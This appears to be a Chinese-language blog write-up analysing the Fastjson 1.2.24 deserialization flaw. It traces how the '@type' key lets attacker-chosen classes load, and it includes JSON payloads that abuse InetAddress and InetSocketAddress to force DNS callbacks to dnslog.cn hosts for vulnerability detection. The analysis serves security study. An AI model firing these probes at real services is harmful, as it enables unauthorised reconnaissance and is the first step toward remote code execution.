fastjson1.2.24 漏洞分析
Fastjson 1.2.24 这个漏洞是比较早的一个漏洞了。环境的部署的话。通过maven 进行部署就行了
漏洞原理:
1 通过入参类型,生成反序列化器。
2 反序列化器调用入参类型的无参构造函数,创建对象。
3 解析序列化字符串,取出Key,Value值,调用相应的setKey(Value)方法。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version> 1.2.24</version>
</dependency>
最开始很奇怪他的payload 是{“@type”:”xxxxx”} 这么奇奇怪怪的payload 。那么通过如下进行探索
通过搜索。发现com\alibaba\fastjson\JSON.class 中定义了@type
那么看看他在哪里被用到了。经过全局搜索发现com\alibaba\fastjson\parser\DefaultJSONParser.parseObject 中被用到具体的调用如下:
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() == 13) {
lexer.nextToken(16);
如果key为@type 的时候。并且lexer.isEnabled(Feature.DisableSpecialKeyDetect) 为false的时候。去加载传递过来的类全名去加载这个类。用法如下:
首先建立一个User的类
package com.example.demo;
public class User {
private int age;
private String name;
private String birthday;
public int getAge() {
return age;
}
public User() {
}
public User(int age, String name, String birthday) {
this.age = age;
this.name = name;
this.birthday = birthday;
}
@Override
public String toString() {
return "User{" +
"age=" + age +
", name='" + name + '\'' +
", birthday='" + birthday + '\'' +
'}';
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getBirthday() {
return birthday;
}
public void setBirthday(String birthday) {
this.birthday = birthday;
}
}
然后使用@type 进行调用loadClass 进行加载
package com.example.demo;
import com.alibaba.fastjson.JSON;
public class testfastjson {
public static String userStr2="{\"@type\":\"com.example.demo.User\",\"age\":12,\"birthday\":\"test\",\"name\":\"myname\"}";
public static void main(String[] args) {
User user2 = (User) JSON.parse(userStr2);
System.err.println(user2.getName());
}
}
这个方法没有做任何的安全过滤。那么可以通过传入全类的全路径。
也就是说可以传入任何jvm加载过的类,并执行setKey方法,Key也是传入的,可变的。
剩下的就是寻找符合以下条件的类:
1,JVM加载过的类;
2,有非静态set方法;
3,入参只有一个。
值得深究的地方为:
com\alibaba\fastjson\serializer\MiscCodec.deserialze
这里判断了几种类型key的类型 例如:报错时候。会调用return InetAddress.getByName(strVal);
那么可以进行探测dnslog
public static String userStr2="{\"@type\":\"java.net.InetAddress\",\"val\":\"bbbbb.nwccz3.dnslog.cn\"}";
public static void main(String[] args) throws IOException {
User user2 = (User) JSON.parse(userStr2);
System.err.println(user2.getName());
}
例如判断了address
if (className.equals("address")) {
parser.accept(17);
address = (InetAddress)parser.parseObject(InetAddress.class);
}
也可以通过 进行dnslog请求
public static String userStr2="{\"zero\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"crzq71.dnslog.cn\"}}}";
对于RCE 的点分析。真的是长。这里只是简单的做了一下分析。
参考:
https://www.cnblogs.com/0x28/p/14378245.html
https://blog.csdn.net/mwei83/article/details/84883965



